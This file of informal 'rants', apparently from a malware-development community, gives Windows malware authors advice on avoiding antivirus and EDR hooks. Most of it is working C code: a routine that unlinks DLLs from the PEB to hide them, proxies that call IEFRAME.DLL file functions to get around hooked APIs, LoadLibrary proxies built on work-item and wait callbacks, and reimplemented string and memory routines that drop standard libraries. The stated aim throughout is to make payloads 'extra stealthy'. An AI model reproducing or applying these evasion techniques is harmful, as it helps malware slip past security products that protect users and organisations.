88 88 88 88 88 88 8b d8 8b, ,d8 88 88 8b,dPPYba, ,adPPYb,88 ,adPPYba, 8b,dPPYba, ,adPPYb,d8 8b,dPPYba, ,adPPYba, 88 88 8b,dPPYba, ,adPPYb,88 `8b d8' `Y8, ,8P' aaaaaaaa 88 88 88P' `"8a a8" `Y88 a8P_____88 88P' "Y8 a8" `Y88 88P' "Y8 a8" "8a 88 88 88P' `"8a a8" `Y88 `8b d8' )888( """""""" 88 88 88 88 8b 88 8PP""""""" 88 8b 88 88 8b d8 88 88 88 88 8b 88 `8b,d8' ,d8" "8b, "8a, ,a88 88 88 "8a, ,d88 "8b, ,aa 88 "8a, ,d88 88 "8a, ,a8" "8a, ,a88 88 88 "8a, ,d88 "8" 8P' `Y8 `"YbbdP'Y8 88 88 `"8bbdP"Y8 `"Ybbd8"' 88 `"YbbdP"Y8 88 `"YbbdP"' `"YbbdP'Y8 88 88 `"8bbdP"Y8 aa, ,88 "Y8bbdP" ------------------------------------------------------------------------------------------------------------------------------- RANT 1. ------------------------------------------------------------------------------------------------------------------------------- I'm tired of seeing malware proof-of-concepts use the ANSI variants of WINAPI functions. Please stop using the ANSI variant. If you use the ANSI variant, your code may not work as designed in non-English speaking countries and introduces additional places where you can will (probably) be hooked (maybe?). UTF-8 vs UTF-16: https://stackoverflow.com/questions/496321/utf-8-utf-16-and-utf-32 If you look at any WINAPI function that ends with A, e.g. ShellExecuteExA, CreateFileA, etc. it transforms the UTF-8 encoding to UTF-16 encoding using MultiByteToWideChar (or some variant of this function). CreateFileA(...) -------------->CreateFileW -------------------------->RtlDosPathNameToNtPathName_U -------------------------->InitializeObjectAttributes (macro lol) -------------------------->NtCreateFile -------------------------->If you're going to use CreateFile, to introduce at least even the smallest, tiniest, microscopic improvement, you might as well use CreateFileW (or just use NtCreateFile and essentially recreate CreateFileW from scratch in your own codebase). Because CreateFileW is not a syscall, but is usually hooked by everyone and their grandmother, it is best practice to try to custom talor your own CreateFileW implementation. Because we're on the topic, we might as well discuss the recreation of other stuff too. Dozens upon dozens of commonly used user-mode API calls that are often hooked can be recreated and help reduce malware payload visibility. Some common examples from Norton AV: Reference: https://samples.vx-underground.org/Papers/Windows/Evasion%20-%20Other/2020-12-31%20-%20Antivirus%20Artifacts%20III.pdf --- snippet --- Some hooked functions.... - CreateFileW - WriteProcessMemory - HeapCreate - MapViewOfFile - WinExec --- snippet end --- Just rewrite stuff, or whatever, don't do it. But if you do it right you can drop KERNEL32 and KERNELBASE from your in-memory linked list, make it extra stealthy and sneaky, or whatever. It's also probably a good idea to recreate STDIO (msvcrt, whatever Microsft calls it these days) so that library can be dropped too. Instead of strncpy just do: PWCHAR SecureStringCopyW(_Inout_ PWCHAR String1, _In_ LPCWSTR String2, _In_ SIZE_T Size) { PWCHAR pChar = String1; while (Size-- && (*String1++ = *String2++) != '\0'); return pChar; } ................or do this too: PWCHAR StringCopyW(_Inout_ PWCHAR String1, _In_ LPCWSTR String2) { PWCHAR p = String1; while ((*p++ = *String2++) != 0); return String1; } ................and then maybe you can do this too: SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } PWCHAR StringConcatW(_Inout_ PWCHAR String, _In_ LPCWSTR String2) { StringCopyW(&String[StringLengthW(String)], String2); return String; } ................and then maybe do one of these moves too, too: INT StringCompareW(_In_ LPCWSTR String1, _In_ LPCWSTR String2) { for (; *String1 == *String2; String1++, String2++) { if (*String1 == '\0') return 0; } return ((*(LPCWSTR)String1 < *(LPCWSTR)String2) ? -1 : +1); } ................and thennnnn just be a cool guy and do this: BOOL RemoveDllFromPebW(_In_ LPCWSTR lpModuleName) { PPEB Peb = GetPeb(); PLDR_MODULE Module = NULL; PLIST_ENTRY Head = &Peb->LoaderData->InMemoryOrderModuleList; PLIST_ENTRY Next = Head->Flink; Module = (PLDR_MODULE)((PBYTE)Next - 16); while (Next != Head) { Module = (PLDR_MODULE)((PBYTE)Next - 16); if (Module->BaseDllName.Buffer != NULL) { if (StringCompareW(lpModuleName, Module->BaseDllName.Buffer) == 0) { RemoveEntryList(&Module->InLoadOrderModuleList); RemoveEntryList(&Module->InInitializationOrderModuleList); RemoveEntryList(&Module->InMemoryOrderModuleList); RemoveEntryList(&Module->HashTableEntry); return TRUE; } } Next = Next->Flink; } return FALSE; } Just rip out msvcrt, or kernelbase, or kernel32, whatever. ------------------------------------------------------------------------------------------------------------------------------- RANT 2. ------------------------------------------------------------------------------------------------------------------------------- Don't flink twice to KERNEL32 or KERNELBASE. AVs often insert DLLs into the loaded binaries, so its never certain the DLL will be the 3rd, or 5th, or 10000th entry. Check the image dll name. ------------------------------------------------------------------------------------------------------------------------------- RANT 3. ------------------------------------------------------------------------------------------------------------------------------- Sometimes functions like CreateFileW and NtCreateFile are obvious things to hook, so it's fun to throw AVs / EDRs a curveball. IEFRAME.DLL (internet explorer DLL) has it's own custom CreateFileW implemention. Import IECreateFileW to mix things up a bit. HANDLE IeCreateFileW(_In_ LPCWSTR lpFileName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwShareMode, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, _In_ DWORD dwCreationDisposition, _In_ DWORD dwFlagsAndAttributes, _In_opt_ HANDLE hTemplateFile) { typedef HANDLE(WINAPI* IECREATEFILE)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); IECREATEFILE IeCreateFile = NULL; IeCreateFile = (IECREATEFILE)GetProcAddressA((DWORD64)TryLoadDllMultiMethodW((PWCHAR)L"ieframe.dll"), "IECreateFile"); if (!IeCreateFile) return NULL; return IeCreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); } ................Internet Explorer has a bunch of weird stuff recreated. So you can proxy various functions with things like: BOOL IEGetFileAttributesExW(_In_ LPCWSTR lpFileName, _In_ GET_FILEEX_INFO_LEVELS fInfoLevelId, _Out_ LPVOID lpFileInformation) { typedef BOOL(WINAPI* IEGETFILEATTRIBUTESEX)(LPCWSTR, GET_FILEEX_INFO_LEVELS, LPVOID); IEGETFILEATTRIBUTESEX IeGetFileAttributesExW = NULL; IeGetFileAttributesExW = (IEGETFILEATTRIBUTESEX)GetProcAddressA((DWORD64)TryLoadDllMultiMethodW((PWCHAR)L"ieframe.dll"), "IEGetFileAttributesEx"); if (!IeGetFileAttributesExW) return FALSE; return IeGetFileAttributesExW(lpFileName, fInfoLevelId, lpFileInformation); } ................or BOOL IeCreateDirectoryW(_In_ LPCWSTR lpPathName, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes) { typedef BOOL(WINAPI* IECREATEDIRECTORY)(LPCWSTR, LPSECURITY_ATTRIBUTES); IECREATEDIRECTORY IECreateDirectory = NULL; IECreateDirectory = (IECREATEDIRECTORY)GetProcAddressA((DWORD64)TryLoadDllMultiMethodW((PWCHAR)L"ieframe.dll"), "IECreateDirectory"); if (!IECreateDirectory) return FALSE; return IECreateDirectory(lpPathName, lpSecurityAttributes); } ................you can also throw a curveball by proxying LoadLibrary functionality with these two baddies: HMODULE ProxyWorkItemLoadLibraryW(_In_ LPCWSTR lpModuleName) { NTWAITFORSINGLEOBJECT NtWaitForSingleObject = NULL; RTLQUEUEWORKITEM RtlQueueWorkItem = NULL; NTSTATUS Status = STATUS_SUCCESS; LARGE_INTEGER Timeout = { 0 }; NtWaitForSingleObject = (NTWAITFORSINGLEOBJECT)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "NtWaitForSingleObject"); RtlQueueWorkItem = (RTLQUEUEWORKITEM)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "RtlQueueWorkItem"); if (!NtWaitForSingleObject || !RtlQueueWorkItem) return NULL; if(RtlQueueWorkItem((PRTL_WORK_ITEM_ROUTINE)&LoadLibraryW, (PVOID)lpModuleName, WT_EXECUTEDEFAULT) != STATUS_SUCCESS) return NULL; Timeout.QuadPart = -500000; NtWaitForSingleObject(GetCurrentProcessNoForward(), FALSE, &Timeout); return GetModuleHandleEx2W(lpModuleName); } HMODULE ProxyRegisterWaitLoadLibraryW(_In_ LPCWSTR lpModuleName) { RTLREGISTERWAIT RtlRegisterWait = NULL; RTLDEREGISTERWAITEX RtlDeregisterWaitEx = NULL; NTWAITFORSINGLEOBJECT NtWaitForSingleObject = NULL; HANDLE WaitObject = NULL, EventObject = NULL; HMODULE hReturn = NULL; LARGE_INTEGER Timeout = { 0 }; Timeout.QuadPart = 500; NtWaitForSingleObject = (NTWAITFORSINGLEOBJECT)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "NtWaitForSingleObject"); RtlRegisterWait = (RTLREGISTERWAIT)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "RtlRegisterWait"); RtlDeregisterWaitEx = (RTLDEREGISTERWAITEX)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "RtlDeregisterWaitEx"); if (!RtlRegisterWait || !NtWaitForSingleObject || !RtlDeregisterWaitEx) goto EXIT_ROUTINE; EventObject = CreateEventW(NULL, FALSE, FALSE, NULL); if (EventObject == NULL) goto EXIT_ROUTINE; if (RtlRegisterWait(&WaitObject, EventObject, (WORKERCALLBACKFUNC)LoadLibraryW, (PVOID)lpModuleName, 0, WT_EXECUTEDEFAULT) != STATUS_SUCCESS) goto EXIT_ROUTINE; else NtWaitForSingleObject(EventObject, FALSE, &Timeout); hReturn = GetModuleHandleEx2W(lpModuleName); EXIT_ROUTINE: if (EventObject) CloseHandle(EventObject); if(WaitObject) RtlDeregisterWaitEx(WaitObject, NULL); return hReturn; } ------------------------------------------------------------------------------------------------------------------------------- RANT 4. ------------------------------------------------------------------------------------------------------------------------------- Be careful implementing ZeroMemory in your code. If you try to rewrite it, MSBUILD will optimize it to memset and automatically include random stuff. So, you've gotta get kind of weird and write some funky ZeroMemory code like this: VOID ZeroMemory2(PVOID Destination, SIZE_T Size) { PCHAR q = (PCHAR)Destination; PCHAR End = q + Size; for(;;) { if (q >= End) break; *q++ = 0; if (q >= End) break; *q++ = 0; if (q >= End) break; *q++ = 0; if (q >= End) break; *q++ = 0; } return; } -smelly